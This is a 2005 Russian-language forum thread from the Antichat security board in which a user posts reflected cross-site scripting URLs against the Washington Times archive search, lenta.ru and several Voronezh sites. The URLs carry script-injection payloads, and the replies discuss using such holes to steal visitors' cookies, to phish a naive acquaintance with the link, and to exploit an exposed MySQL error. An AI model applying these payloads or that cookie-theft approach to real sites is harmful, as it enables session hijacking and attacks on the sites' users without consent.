HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Xss Вашингтон таймс
  #1  
Старый 27.09.2005, 20:56
Dmitro
Участник форума
Регистрация: 11.12.2004
Сообщений: 110
С нами: 11269766

Репутация: 34
По умолчанию Xss Вашингтон таймс

хм... такой крупный сайт, а XSS ... не хорошо ((

www.washtimes.com
Например:
Справа форма поиска "Quick Search" - вводи чё хошь...

http://www.washtimes.com/archive/index.php?Action=Go&Keywords='%3E%3Cscript%3Ealert ()%3C/script%3E

кстати, вот ещё на лента.ру :
http://lenta.ru/Search?Search="><scr...cript>&x=7&y=7

и вот:
http://www.voronezh.ru/cgi-bin/yp.pl...E+%22&x=25&y=3

и вот:
http://hosting.vrn.ru/cgi-bin/search...te=1&x=30&y=12

и вот:
http://www.084.vrn.ru/cgi-bin/search...&il=0&x=25&y=8

А вообще XSS в поисковике... - это щас модно)))

Последний раз редактировалось Dmitro; 27.09.2005 в 22:20..
 
Ответить с цитированием

  #2  
Старый 27.09.2005, 21:09
Mastermind
Познающий
Регистрация: 21.07.2005
Сообщений: 52
С нами: 10949649

Репутация: 8
По умолчанию

А что собственно могут дать такого рода Xss?
 
Ответить с цитированием

  #3  
Старый 27.09.2005, 21:14
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
С нами: 10937126

Репутация: 1316


По умолчанию

практически ничего, можно куки украсть.
 
Ответить с цитированием

  #4  
Старый 27.09.2005, 21:24
Dmitro
Участник форума
Регистрация: 11.12.2004
Сообщений: 110
С нами: 11269766

Репутация: 34
По умолчанию

Цитата:
Сообщение от k1b0rg  
практически ничего, можно куки украсть.
Да не скажи... на вашингтон таймс ещё и ошибку мускуля выдало... Тут уж и поработать мона )))
 
Ответить с цитированием

  #5  
Старый 27.09.2005, 21:24
Mastermind
Познающий
Регистрация: 21.07.2005
Сообщений: 52
С нами: 10949649

Репутация: 8
По умолчанию

k1b0rg, отправив ссылку другу, месяц знакомому с компом?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.